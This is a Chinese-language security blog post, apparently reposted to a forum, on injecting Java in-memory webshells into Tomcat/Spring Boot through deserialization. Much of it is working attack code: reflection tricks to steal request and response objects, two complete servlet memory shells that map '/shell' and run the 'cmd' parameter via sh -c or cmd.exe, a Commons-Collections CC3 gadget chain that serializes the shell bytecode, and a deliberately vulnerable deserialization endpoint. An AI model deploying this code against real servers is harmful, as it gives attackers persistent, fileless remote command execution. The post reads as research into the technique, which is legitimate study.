回顾JSP马
详情见:https://www.cnblogs.com/F12-blog/p/18111253
之前说的都是利用 jsp 注入内存马,但 Web 服务器中的 jsp 编译器还是会编译生成对应的 java 文件然后进行编译加载并进行实例化,所以还是会落地。
但如果直接注入,比如利用反序列化漏洞进行注入,由于 request 和 response 是 jsp 的内置对象,在回显题目上不用考虑,但如果不用 jsp 文件,就需要考虑如何回显的题目。
其实主要要解决的题目就是如何获取 request 和 response 对象。
现在主流的回显技术(部分)主要有:
- linux 下通过文件形貌符,获取 Stream 对象,对当前网络连接进行读写操纵。
限制:必须是 linux,而且在取文件形貌符的过程中有可能会受到其他连接信息的干扰
- 通过ThreadLocal Response回显,基于调用栈获取中获取 response 对象(ApplicationFilterChain中)
限制:如果漏洞在 ApplicationFilterChain 获取回显 response 代码之前,那么就无法获取到Tomcat Response进行回显。
- 通过全局存储 Response回显,寻找在Tomcat处理 Filter 和 Servlet 之前有没有存储 response 变量的对象
限制:会导致http包超长,但相对比较通用。
ThreadLocal Response 回显
什么是ThreadLocal
ThreadLocal的作用就是:线程安全。 ThreadLocal的本质就是一个内部的静态的map,key是当火线程的句柄,value是需要保持的值。 由于是内部静态map,不提供遍历和查询的接口,每个线程只能获取本身线程的value。 如许,就线程安全了,又提供了数据共享的本领。
举个例子- package org.example;
- import java.util.concurrent.TimeUnit;
- public class NumUtil {
- public static int addNum = 0;
- public static int add10(int num) throws InterruptedException {
- addNum = num;
- try {
- TimeUnit.SECONDS.sleep(1);
- } catch (InterruptedException e){
- e.printStackTrace();
- }
- return addNum + 10;
- }
- }
复制代码- package org.example;
- import java.util.concurrent.ExecutorService;
- import java.util.concurrent.Executors;
- public class threadDemo {
- public static void main(String[] args) {
- ExecutorService executorService = Executors.newFixedThreadPool(20);
- for(int i=0;i<20;i++){
- int num = i;
- executorService.execute(()->{
- try {
- System.out.println(num+":"+NumUtil.add10(num));
- } catch (InterruptedException e) {
- throw new RuntimeException(e);
- }
- });
- }
- executorService.shutdown();
- }
- }
- // 输出
- 6:29
- 11:29
- 13:29
- 14:29
- 0:29
- 3:29
- 12:29
- 15:29
- 17:29
- 18:29
- 7:29
- 16:29
- 2:29
- 1:29
- 9:29
- 10:29
- 19:29
- 8:29
- 4:29
- 5:29
复制代码 一个利用线程来进行对addNum加数的操纵,这结果是不是看着怪怪的,全是29。
这里其实可以联合条件竞争来理解,在多线程的情况下,比如线程1中for循环到数字9,由于不同线程之间变量没有隔离,这时候线程2实行到了addn10方法中,就接替了线程1的工作,进行+10,但是线程2中for循环只到了2。因此会输出2:29如许的数字,其他结果也是同样的道理
解决方法有很多,此中一种就是运用ThreadLocal创建独立的线程变量域:
将之前的工具类改为:- public class NumUtil {
- private static ThreadLocal<Integer> addNumThreadLocal = new ThreadLocal<>();
- public static int add10(int num) {
- addNumThreadLocal.set(num);
- try {
- TimeUnit.SECONDS.sleep(1);
- } catch (InterruptedException e) {
- e.printStackTrace();
- }
- return addNumThreadLocal.get() + 10;
- }
- }
复制代码- package org.example;
- import java.util.concurrent.ExecutorService;
- import java.util.concurrent.Executors;
- public class threadDemo {
- public static void main(String[] args) {
- ExecutorService executorService = Executors.newFixedThreadPool(20);
- for(int i=0;i<20;i++){
- int num = i;
- executorService.execute(()->{
- System.out.println(num+":"+NumUtil.add10(num));
- });
- }
- executorService.shutdown();
- }
- }
- // 输出
- 4:14
- 16:26
- 10:20
- 18:28
- 17:27
- 11:21
- 9:19
- 2:12
- 3:13
- 8:18
- 15:25
- 6:16
- 7:17
- 0:10
- 1:11
- 13:23
- 12:22
- 14:24
- 19:29
- 5:15
复制代码 这回就正常了,在这之中我们创建了ThreadLocal,之前也说了本质就是一个用于存放当前进程变量的map,ThreadLocalMap是其内部类,调用了它的set和get方法用于储存和取出变量
ApplicationFilterChain#internalDoFilter
启一个springboot服务(3.0.2),简朴的写个servlet,然后打个断点访问就能看到调用栈了
可以看到重复调用了internalDoFilter,我们通过观察ApplicationFilterChain这个类可以发现,他内置了两个变量lastServicedRequest和lastServicedResponse,分别都是ThreadLocal类型:
在internalDoFilter方法中对这两个属性进行了赋值,不外得满意上方的if条件,这里的request和response就是我们目标对象,这里dispatcherWrapsSameObject默认就是false,我们可以通过反射修改,第一次访问URL,对dispatcherWrapsSameObject进行修改,第二次访问URL就能获取request和response
Springboot版本题目
springboot2和springboot3,它们的if条件不同
springboot2:
springboot3:
反射修改static final属性
在SpringBoot2中ApplicationDispatcher.WRAP_SAME_OBJECT的类型是一个private static final类型的属性,这种属性由于一些缘故原由无法被反射直接修改,我们可以通过反射去除final修饰符的方式达到修改的目的
modifiers实际就是一个int类型的26,而且每个修饰符都有一个int的值,比如private是2,static是8,final是16那么我们只需要把目标属性的modifiers属性减去16,就相称于去除了final属性,图中取反然后按位与操纵就是实现减16
JDK版本题目
在JDK12+之后,我们就不能通过上述方法移除final修饰符了,会报错NoSuchFiled:modifiers
所以这里并不研究jdk12以后的回显题目,所以在这里将SpringBoot降到了2.6版本,JDK降到了11
初步构造回显
- package com.example.springboot2.controller;
- import org.apache.catalina.core.ApplicationFilterChain;
- import org.springframework.stereotype.Controller;
- import org.springframework.web.bind.annotation.RequestMapping;
- import org.springframework.web.bind.annotation.ResponseBody;
- import javax.servlet.ServletContext;
- import javax.servlet.ServletRequest;
- import javax.servlet.ServletResponse;
- import java.lang.reflect.Field;
- import java.lang.reflect.Modifier;
- @Controller
- public class echoshell {
- @RequestMapping("/normal")
- @ResponseBody
- public String hello() throws IllegalAccessException, NoSuchFieldException, ClassNotFoundException {
- //反射获取3个属性
- Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
- Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
- Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
- //去除final修饰符
- Field modifiersField = Field.class.getDeclaredField("modifiers");
- //设置private可访问可修改
- modifiersField.setAccessible(true);
- WRAP_SAME_OBJECT_FIELD.setAccessible(true);
- lastServicedRequestField.setAccessible(true);
- lastServicedResponseField.setAccessible(true);
- modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
- modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
- modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
- //反射修改lastServiceresponse和lastservicerequest属性的值
- ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
- ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
- //修改WRAP_SAME_OBJECT_FIELD值为true,进入request判断
- boolean wrap_same_object_fieldBoolean = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
- //第一次进入时为false和null
- if (!wrap_same_object_fieldBoolean || lastServicedResponse == null || lastServicedRequest == null) {
- System.out.println("in");
- lastServicedRequestField.set(null, new ThreadLocal<>());
- lastServicedResponseField.set(null, new ThreadLocal<>());
- WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
- }
- //第二次进入时就进入了if赋值为了request和response,因此进入else
- else {
- String name = "xxx";
- //从req中获取ServletContext对象
- // 第二次请求后进入 else 代码块,获取 Request 和 Response 对象,写入回显
- ServletRequest servletRequest = lastServicedRequest.get();
- ServletContext servletContext = servletRequest.getServletContext();
- System.out.println(servletContext);
- System.out.println(servletRequest);
- }
- return "nothing";
- }
- }
复制代码 访问两次成功获取ServletContext和request

反序列化注入Servlet内存马
准备一个CC3的情况的springboot2,写一个反序列化入口- package com.example.springboot2.controller;
- import org.springframework.stereotype.Controller;
- import org.springframework.web.bind.annotation.RequestMapping;
- import org.springframework.web.bind.annotation.ResponseBody;
- import javax.servlet.http.HttpServletRequest;
- import java.io.ByteArrayInputStream;
- import java.io.IOException;
- import java.io.ObjectInputStream;
- import java.util.Base64;
- @Controller
- public class echoshell {
- @RequestMapping("/normal")
- @ResponseBody
- public void hello(HttpServletRequest request) throws IOException {
- System.out.println("in");
- byte[] data = Base64.getDecoder().decode(request.getParameter("data"));
- ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data);
- ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
- try{
- System.out.println(objectInputStream.readObject());
- } catch (ClassNotFoundException e){
- e.printStackTrace();
- }
- }
- }
复制代码 准备内存马:- package com.example.springboot2.controller;
- import com.sun.org.apache.xalan.internal.xsltc.DOM;
- import com.sun.org.apache.xalan.internal.xsltc.TransletException;
- import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
- import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
- import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
- import org.apache.catalina.Wrapper;
- import org.apache.catalina.core.StandardContext;
- import javax.servlet.*;
- import java.io.IOException;
- import java.io.InputStream;
- import java.io.PrintWriter;
- import java.lang.reflect.Field;
- import java.lang.reflect.Modifier;
- import java.util.Scanner;
- public class shellcode extends AbstractTranslet implements Servlet{
- static {
- try {
- Class<?> clazz = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
- Field WRAP_SAME_OBJECT = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
- Field lastServicedRequest = clazz.getDeclaredField("lastServicedRequest");
- Field lastServicedResponse = clazz.getDeclaredField("lastServicedResponse");
- Field modifiers = Field.class.getDeclaredField("modifiers");
- modifiers.setAccessible(true);
- // 去掉final修饰符,设置访问权限
- modifiers.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~Modifier.FINAL);
- modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
- modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);
- WRAP_SAME_OBJECT.setAccessible(true);
- lastServicedRequest.setAccessible(true);
- lastServicedResponse.setAccessible(true);
- // 修改 WRAP_SAME_OBJECT 并且初始化 lastServicedRequest 和 lastServicedResponse
- if (!WRAP_SAME_OBJECT.getBoolean(null)) {
- WRAP_SAME_OBJECT.setBoolean(null, true);
- lastServicedRequest.set(null, new ThreadLocal<ServletRequest>());
- lastServicedResponse.set(null, new ThreadLocal<ServletResponse>());
- } else {
- String name = "xxx";
- //从req中获取ServletContext对象
- // 第二次请求后进入 else 代码块,获取 Request 和 Response 对象,写入回显
- ThreadLocal<ServletRequest> threadLocalReq = (ThreadLocal<ServletRequest>) lastServicedRequest.get(null);
- ThreadLocal<ServletResponse> threadLocalResp = (ThreadLocal<ServletResponse>) lastServicedResponse.get(null);
- ServletRequest servletRequest = threadLocalReq.get();
- ServletResponse servletResponse = threadLocalResp.get();
- ServletContext servletContext = servletRequest.getServletContext();
- if (servletContext.getServletRegistration(name) == null) {
- StandardContext o = null;
- // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
- while (o == null) {
- Field f = servletContext.getClass().getDeclaredField("context");
- f.setAccessible(true);
- Object object = f.get(servletContext);
- if (object instanceof ServletContext) {
- servletContext = (ServletContext) object;
- } else if (object instanceof StandardContext) {
- o = (StandardContext) object;
- }
- }
- //自定义servlet
- Servlet servlet = new shellcode();
- //用Wrapper封装servlet
- Wrapper newWrapper = o.createWrapper();
- newWrapper.setName(name);
- newWrapper.setLoadOnStartup(1);
- newWrapper.setServlet(servlet);
- //向children中添加Wrapper
- o.addChild(newWrapper);
- //添加servlet的映射
- o.addServletMappingDecoded("/shell", name);
- }
- }
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
- @Override
- public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
- }
- @Override
- public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
- }
- @Override
- public void init(ServletConfig servletConfig) throws ServletException {
- }
- @Override
- public ServletConfig getServletConfig() {
- return null;
- }
- @Override
- public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
- String cmd = servletRequest.getParameter("cmd");
- boolean isLinux = true;
- String osTyp = System.getProperty("os.name");
- if (osTyp != null && osTyp.toLowerCase().contains("win")) {
- isLinux = false;
- }
- String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
- InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
- Scanner s = new Scanner(in).useDelimiter("\\a");
- String output = s.hasNext() ? s.next() : "";
- PrintWriter out = servletResponse.getWriter();
- out.println(output);
- out.flush();
- out.close();
- }
- @Override
- public String getServletInfo() {
- return null;
- }
- @Override
- public void destroy() {
- }
- }
复制代码 cc3:- package com.f12;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InstantiateTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.keyvalue.TiedMapEntry;
- import org.apache.commons.collections.map.LazyMap;
- import javax.xml.transform.Templates;
- import java.io.*;
- import java.lang.annotation.Target;
- import java.lang.reflect.*;
- import java.nio.file.Files;
- import java.nio.file.Paths;
- import java.util.Base64;
- import java.util.HashMap;
- import java.util.Map;
- public class CC3 {
- public static void serialize(Object obj) throws IOException {
- FileOutputStream fos = new FileOutputStream("cc3.bin");
- ObjectOutputStream oos = new ObjectOutputStream(fos);
- oos.writeObject(obj);
- }
- public static void deserialize(String filename) throws IOException, ClassNotFoundException {
- FileInputStream fis = new FileInputStream(filename);
- ObjectInputStream ois = new ObjectInputStream(fis);
- ois.readObject();
- }
- public static String encryptToBase64(String filePath) {
- if (filePath == null) {
- return null;
- }
- try {
- byte[] b = Files.readAllBytes(Paths.get(filePath));
- return Base64.getEncoder().encodeToString(b);
- } catch (IOException e) {
- e.printStackTrace();
- }
- return null;
- }
- public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
- TemplatesImpl templates = new TemplatesImpl();
- Field _name = TemplatesImpl.class.getDeclaredField("_name");
- _name.setAccessible(true);
- _name.set(templates, "1");
- Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
- _bytecodes.setAccessible(true);
- byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\springboot2\\target\\classes\\com\\example\\springboot2\\controller\\shellcode.class"));
- byte[][] code = {bytes};
- _bytecodes.set(templates, code);
- Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
- _tfactory.setAccessible(true);
- _tfactory.set(templates, new TransformerFactoryImpl());
- // Transformer transformer = templates.newTransformer();
- Transformer[] transformers = new Transformer[]{
- new ConstantTransformer(TrAXFilter.class),
- new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
- };
- ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
- HashMap<Object, Object> map = new HashMap<>();
- Map<Object, Object> decorate = LazyMap.decorate(map, chainedTransformer);
- Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
- Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
- constructor.setAccessible(true);
- InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorate);
- Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
- Object o = constructor.newInstance(Target.class, newMap);
- serialize(o);
- System.out.println(encryptToBase64("cc3.bin"));
- // deserialize("cc3.bin");
- // Map<Object, Object> map = new HashMap<>();
- // Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
- // TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
- // HashMap<Object, Object> hashMap = new HashMap<>();
- // hashMap.put(tiedMapEntry, null);
- // map.remove(null);
- // Field factory = LazyMap.class.getDeclaredField("factory");
- // factory.setAccessible(true);
- // factory.set(lazymap, chainedTransformer);
- // serialize(hashMap);
- // deserialize("cc3.bin");
- }
- }
复制代码 访问两次,固然会报错,但是能成功注入内存马

局限性
上述是一种半通用的方法,有肯定的局限性,该方法入口类是在ApplicationFilterChain#internalDofilter方法,如果序列化触发点在这之前的话就无法注入(比如shiro),而且还有JDK和SpringBoot的版本限制
基于Tomcat全局存储进行回显
通杀某些版本
流程分析
还是起个springboot,简朴写个servlet,打个断点看调用栈,定位Http11Processor,调用了getAdapter().service(request, response);,此中的request和response都来自父类AbstractProcessor
往上找,在AbstractProtocol#ConnectionHandler中调用了register方法注册了processor,这里的processor就是上面的Http11processor:
继续跟进,在register方法中,有个RequestInfo类型的对象rp,里面封装着一个request对象,rp.setGlobalProcessor(global);将rp存入global属性中
这个request对象是和之前Http11processor中的request对象相同的,既然把同一个request对象放到了global中,所以我们尝试寻找存储了AbstractProtocol实例的地方,由于global对象是在内部类ConnectionHandler中,如果可以获取到AbstractProtocol对象,那么就能通过反射getHandler方法来获取到内部类ConnectionHandler的实例,进而获取global:既然同一个request对象都被封装进了AbstractProtocol的global属性当中,那现在需要做的就是如何找到储存了AbstractProtocol类的地方,只要找到了我们就可以通过反射获取,找到AbstractEndpoint此中的Handler接口:
思路图如下:
所以现在就是需要获取AbstractProtocol,我们继续观察调用栈,可以发现在CoyoteAdapter类中的connector属性中存放了protocolHandler对象:
protocolHandler和AbstractProtocol的继承关系图如下:
而且通过观察可以发现存在connector属性中的protocolHandler属性真实类型为Http11NioProtocol对象,而这刚好就是AbstractProtocol的子类,我们可以通过向上转型从而获取AbstractProtocol,然后去获取global属性,进而获取requestinfo最后获取request对象,这个Connector类是在org.apache.catalina包下的,Tomcat会最先加载这个包,所以我们到Tomcat启动过程中寻找一下Connector类的踪迹。如果认识Spring boot启动Tomcat服务器流程的话,可以知道在TomcatServletWebServerFactory#getWebServer方法中实行了addConnector方法,实行完之后就会把connector对象封装到StandardService对象中:
后面的思路就是通过WebappClassLoaderBase这个线程上下文类加载器与StrandardService来产生联系,这个类加载器我们可以直接通过Thread.currentThread().getContextClassLoader()来直接获取到实例,所以整个寻找链也就完成了:- WebappClassLoaderBase -->
- resources(StandardRoot) -->
- context(StandardContext) -->
- context(ApplicationContext) -->
- service(StandardService) -->
- connectors(Connector[]) -->
- protocolHandler(ProtocolHandler) -->
- (转型)protocolHandler(AbstractProtocol) -->
- (内部类)hanlder(AbstractProtocol$ConnectorHandler) -->
- global(RequestGroupInfo) -->
- processors(ArrayList) -->
- requestInfo(RequestInfo) -->
- req(org.apache.coyote.Request) --getNote-->
- request(org.apache.connector.Request) -->
- response(org.apache.connector.Response)
复制代码 有一点需要注意的是,我们最后拿到的Request对象是org.apache.coyote.Request,而真正需要其实是org.apache.catalina.connector.Request对象,前者是是应用层对于请求-响应对象的底层实现,并不方便使用,通过调用其getNote方法可以得到后者
内存马回显构造
主类记得加上扫描注解- package com.example.springboot2;
- import org.springframework.boot.SpringApplication;
- import org.springframework.boot.autoconfigure.SpringBootApplication;
- import org.springframework.boot.web.servlet.ServletComponentScan;
- @SpringBootApplication
- @ServletComponentScan
- public class Springboot2Application {
- public static void main(String[] args) {
- SpringApplication.run(Springboot2Application.class, args);
- }
- }
复制代码
局限性
该方法在tomcat10以下应该是可以通杀的,因为之前用的高版本springBoot,springboot在2.6以后移除了getresources方法,所以寄
通过遍历进程来获取Context
- package com.example.springboot2.controller;
- import com.sun.org.apache.xalan.internal.xsltc.DOM;
- import com.sun.org.apache.xalan.internal.xsltc.TransletException;
- import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
- import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
- import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
- import org.apache.catalina.Wrapper;
- import org.apache.catalina.core.StandardContext;
- import org.apache.catalina.core.StandardEngine;
- import org.apache.catalina.core.StandardHost;
- import javax.servlet.*;
- import java.io.IOException;
- import java.io.InputStream;
- import java.io.PrintWriter;
- import java.lang.reflect.Field;
- import java.util.HashMap;
- import java.util.Iterator;
- import java.util.Scanner;
- public class Tomcat6789 extends AbstractTranslet implements Servlet {
- public static Object getField(Object object, String fieldName) {
- Field declaredField;
- Class clazz = object.getClass();
- while (clazz != Object.class) {
- try {
- declaredField = clazz.getDeclaredField(fieldName);
- declaredField.setAccessible(true);
- return declaredField.get(object);
- } catch (NoSuchFieldException e){}
- catch (IllegalAccessException e){}
- clazz = clazz.getSuperclass();
- }
- return null;
- }
- public Tomcat6789() {
- }
- @Override
- public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
- }
- @Override
- public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
- }
- static {
- String uri = "";
- String serverName = "";
- Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
- Object object;
- for (Thread thread : threads) {
- if (thread == null) {
- continue;
- }
- if (thread.getName().contains("exec")) {
- continue;
- }
- Object target = getField(thread, "target");
- if (!(target instanceof Runnable)) {
- continue;
- }
- try {
- object = getField(getField(getField(target, "this$0"), "handler"), "global");
- } catch (Exception e) {
- continue;
- }
- if (object == null) {
- continue;
- }
- java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
- Iterator iterator = processors.iterator();
- while (iterator.hasNext()) {
- Object next = iterator.next();
- Object req = getField(next, "req");
- Object serverPort = getField(req, "serverPort");
- if (serverPort.equals(-1)){continue;}
- org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
- serverName = (String) getField(serverNameMB, "strValue");
- if (serverName == null){
- serverName = serverNameMB.toString();
- }
- if (serverName == null){
- serverName = serverNameMB.getString();
- }
- org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "uriMB");
- uri = (String) getField(uriMB, "strValue");
- if (uri == null){
- uri = uriMB.toString();
- }
- if (uri == null){
- uri = uriMB.getString();
- }
- }
- }
- Thread[] threads2 = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
- for (Thread thread : threads2) {
- if (thread == null) {
- continue;
- }
- if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
- Object target = getField(thread, "target");
- HashMap children;
- Object jioEndPoint = null;
- try {
- jioEndPoint = getField(target, "this$0");
- }catch (Exception e){}
- if (jioEndPoint == null){
- try{
- jioEndPoint = getField(target, "endpoint");
- }catch (Exception e){}
- }
- Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");
- StandardEngine engine = null;
- try {
- engine = (StandardEngine) getField(service, "container");
- }catch (Exception e){}
- if (engine == null){
- engine = (StandardEngine) getField(service, "engine");
- }
- children = (HashMap) getField(engine, "children");
- StandardHost standardHost = (StandardHost) children.get(serverName);
- children = (HashMap) getField(standardHost, "children");
- Iterator iterator = children.keySet().iterator();
- while (iterator.hasNext()){
- String contextKey = (String) iterator.next();
- if (!(uri.startsWith(contextKey))){continue;}
- StandardContext standardContext = (StandardContext) children.get(contextKey);
- Servlet myServlet = new Tomcat6789();
- Wrapper newWrapper = standardContext.createWrapper();
- newWrapper.setName("xxx");
- newWrapper.setLoadOnStartup(1);
- newWrapper.setServlet(myServlet);
- standardContext.addChild(newWrapper);
- standardContext.addServletMappingDecoded("/shell", "xxx");
- }
- }
- }
- }
- @Override
- public void init(ServletConfig servletConfig) throws ServletException {
- }
- @Override
- public ServletConfig getServletConfig() {
- return null;
- }
- @Override
- public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
- String cmd = req.getParameter("cmd");
- boolean isLinux = true;
- String osTyp = System.getProperty("os.name");
- if (osTyp != null && osTyp.toLowerCase().contains("win")) {
- isLinux = false;
- }
- String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
- InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
- Scanner s = new Scanner(in).useDelimiter("\\a");
- String output = s.hasNext() ? s.next() : "";
- //普通回显
- PrintWriter out = res.getWriter();
- out.println(output);
- out.flush();
- out.close();
- }
- @Override
- public String getServletInfo() {
- return null;
- }
- @Override
- public void destroy() {
- }
- }
复制代码 这是在所有基于tomcat的javaweb的一种通杀方法,我们可以获取当前所有进程,总可以获取到总服务里的springboot的进程,如许进而获取此中的context,然后再注入内存马。但是似乎代码逻辑有题目,springboot2+tomcat9的情况下会报错,别的情况未尝试,待解决....
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |